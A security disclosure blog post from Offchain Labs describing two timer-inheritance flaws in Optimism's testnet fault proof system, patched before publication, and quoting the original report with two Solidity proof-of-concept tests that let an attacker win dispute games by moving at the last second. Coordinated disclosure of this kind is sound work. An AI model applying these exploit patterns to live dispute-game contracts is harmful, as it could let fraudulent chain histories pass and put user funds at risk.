Security disclosure

Ed Felten
Offchain Labs
Published in
7 min readApr 26, 2024

On March 22, our team at Offchain Labs disclosed to the OP Labs team two serious security vulnerabilities we had found in the Optimism fraud proof system they had deployed on testnet. We provided the OP Labs team with demonstration exploit code for the attacks. On March 25 OP Labs confirmed the validity of the two issues.

We coordinated our disclosure with the OP Labs team. OP Labs asked us to hold off on publicly disclosing the vulnerabilities until they were addressed. Late yesterday (April 25), the Optimism testnet was updated, and we are disclosing the vulnerabilities for the first time today.

The vulnerabilities allowed a malicious party to force the OP Stack fraud proof mechanism to accept a fraudulent chain history, or to prevent the OP Stack fraud proof mechanism from accepting a correct chain history. The problems stemmed from flaws in how the OP fraud proof design handles timers.

The result was that the fraud proof system didn’t improve security guarantees, compared to an approach relying entirely on emergency intervention by the security council.

Nature of the vulnerabilities

Timers are one of the most subtle aspects of interactive fraud proof design. An adversarial party might simply never make a move in the challenge game, so at some point the protocol needs to declare that a non-moving player has lost by timeout. But an adversary can also use censorship attacks against the parent L1 chain (e.g. Ethereum) to prevent an honest party from moving in the game.

If time is passing and a player isn’t moving, the protocol can’t tell whether that player is being censored or instead is a bad actor staying silent and pretending to be censored. (In both cases, the protocol sees only “radio silence” from the player.) So the protocol must give an honest player enough leeway on time so they can’t lose due to censorship, while at the same time keeping malicious players from delaying the protocol for too long.

For example, in a one-vs-one challenge protocol, where there is one player on each side of a dispute, the method used by Arbitrum’s currently deployed protocol works very nicely. Here’s an intuitive way to understand the approach: Each player gets “time credit” during periods when it is the other player’s turn to move, and if a player accumulates 7 days of time credit, it wins the challenge due to time. The idea is that if a player is “late in moving” for 7 days in total, it’s not plausible that that delay was all due to censorship, so the player can be treated as dishonest — making it safe to declare that player the loser. This makes the one-vs-one protocol safe against up to 7 days of censorship.

That works well when there is only one player on each side of the dispute. But when you allow many players to participate, as Optimism does, it’s not so obvious how to manage the time credits. It’s tempting to divide the players into two teams, one on each side of the dispute, with a time credit for each team. But you need to be careful because of traitor attacks, where a malicious party pretends to be honest for a while, only to stab its honest “teammates” in the back at the worst possible moment.

The OP protocol as originally deployed on testnet was susceptible to traitor attacks of this type because it allowed a traitor to get time credit it didn’t deserve. This would have allowed a malicious actor to win a fraud proof game that it deserved to lose, so that a fraudulent chain history was accepted or a correct chain history was rejected.

These are difficult problems to solve, and while OP’s original design was subject to subtle attacks, they have made some changes to their timer-handling code that resolve the demonstration exploits that we provided. At this time we haven’t done a security analysis of their modified protocol.

Dealing with timers, traitors, and other attacks

Fraud proof protocols and particularly their timing aspects are very difficult to design. That’s why our BoLD protocol was shipped with a technical paper giving a detailed threat model along with proofs that the BoLD protocol is not susceptible to this type of traitor attack. Given the complexity and subtlety of these issues, we felt a clear threat model and security proofs were a necessity to get comfortable that there weren’t latent attacks. Indeed, in the course of creating our proofs we found and fixed more than one issue in the BoLD protocol.

The original security disclosure

Below is an extended excerpt from the disclosure we sent to OP Labs on March 22:

We (the Offchain Labs team) have found what appear to be serious systemic flaws in the current version of the OP Stack fault proof system. This document describes the flaws and provides example exploit code for your information.

The flaws would allow an adversary to defeat the safety and liveness of the chain by getting a fraudulent claim accepted by the protocol, or by getting a correct claim rejected, or by creating a dispute that cannot be resolved within the L1 gas limit. [Note (April 26): This third issue (dispute that cannot be resolved) turned out to be already known and publicly documented, so we’ll edit out further mentions of it.]

[…]

We believe that if your current protocol were deployed on mainnet, it would put user funds at very high risk.

Nature of the flaws

Some of the flaws appear to stem from the way in which timers are managed in the fault proof system. In brief, the inheritance of timers from grandparent claims allows a claim made by a malicious actor to inherit timer credit from a previous claim made by an honest actor, thereby artificially inflating the malicious claim’s timer credit to the point that the malicious actor can win the challenge. As an example, a malicious actor can arrange to inherit timer credit that is just barely short of what is needed to claim victory; and then declare victory due to time, before any other party is able to respond.

[…]

Example exploits

Below is a set of example exploits that demonstrate these attacks.

The first exploit (test_exploit_last_second_challenge) allows an attacker to defeat an honest claim.

The second exploit (test_exploit_last_second_defend) allows an attacker to get a fraudulent claim accepted.

[…]

These exploits appear to work against the latest version of the OP stack fraud proof system on commit 96a269bc793fa30c3e2aa1a8afd738e4605fa06e

contract POC {
// Add these tests to FaultDisputeGame.t.sol

/// @dev Last second challenge exploit - High severity, liveliness failure
/// The honest proposer created an honest claim
/// The exploiter waits until the last second to challenge the root claim
function test_exploit_last_second_challenge() public {
// The honest proposer created an honest root claim during setup - node 0

// The exploiter waits until the last second of the 3.5 days challenge period
vm.warp(block.timestamp + 3 days + 12 hours);

// The exploiter makes an attack move to the root claim
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim()); // Exploiter's move - node 1
// Node 1 is created with duration (block.timestamp - parent.timestamp) = `3 days + 12 hours`

// Advance time by 1 second, so it is now past the challenge period
vm.warp(block.timestamp + 1 seconds);

vm.expectRevert(ClockTimeExceeded.selector); // no further move can be made
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim());

// Node 1 can actually be attacked here, and would block the resolution of node 0
// but the attacker only needs to censor one L1 block to prevent that

// Resolve the game
// // Optional Step, node 1 is resolved as UNCOUNTERED by default since it has no child
// gameProxy.resolveClaim(1); // Node 1 is resolved as UNCOUNTERED since it has no UNCOUNTERED child
gameProxy.resolveClaim(0); // Node 0 is resolved as COUNTERED since it has an UNCOUNTERED child

// Defender lost the game since the root claim is countered
assertEq(uint8(gameProxy.resolve()), uint8(GameStatus.CHALLENGER_WINS));
}

/// @dev Last second defend exploit - Critical severity, safety failure
/// The malicious proposer created a malicious claim
/// The honest validator tried to challenge the malicious claim
/// The exploiter waits until the last second to defend and win the game
function test_exploit_last_second_defend() public {
// The malicious proposer created a malicious root claim during setup - node 0

// The honest validator tried to challenge the malicious claim
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim()); // Honest validator's move - node 1
// Node 1 is created with duration (block.timestamp - parent.timestamp) = 0

// The exploiter waits until the last second of the 3.5 days challenge period
vm.warp(block.timestamp + 3 days + 12 hours);

// The exploiter makes an attack move against the honest claim (node 1)
gameProxy.attack{ value: MIN_BOND }(1, _dummyClaim()); // Exploiter's move - node 2
// Node 2 is created with duration (block.timestamp - parent.timestamp) = `3 days + 12 hours`

// Advance time by 1 second, so it is now past the challenge period
vm.warp(block.timestamp + 1 seconds);

vm.expectRevert(ClockTimeExceeded.selector); // no further move can be made
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim());

// Node 2 can actually be attacked here, and would block the resolution of node 1
// but the attacker only needs to censor one L1 block to prevent that

// Resolve the game
// // Optional Step, node 2 is resolved as UNCOUNTERED by default since it has no child
// gameProxy.resolveClaim(2); // Node 2 is resolved as UNCOUNTERED since it has no UNCOUNTERED child
gameProxy.resolveClaim(1); // Node 1 is resolved as COUNTERED since it has an UNCOUNTERED child
gameProxy.resolveClaim(0); // Node 0 is resolved as UNCOUNTERED since it has no UNCOUNTERED child

// Defender wins the game since the root claim is uncountered
assertEq(uint8(gameProxy.resolve()), uint8(GameStatus.DEFENDER_WINS));
}

// [...]

--

--

Ed Felten
Offchain Labs

Co-founder, Offchain Labs. Kahn Professor of Computer Science and Public Affairs at Princeton. Former Deputy U.S. CTO at White House.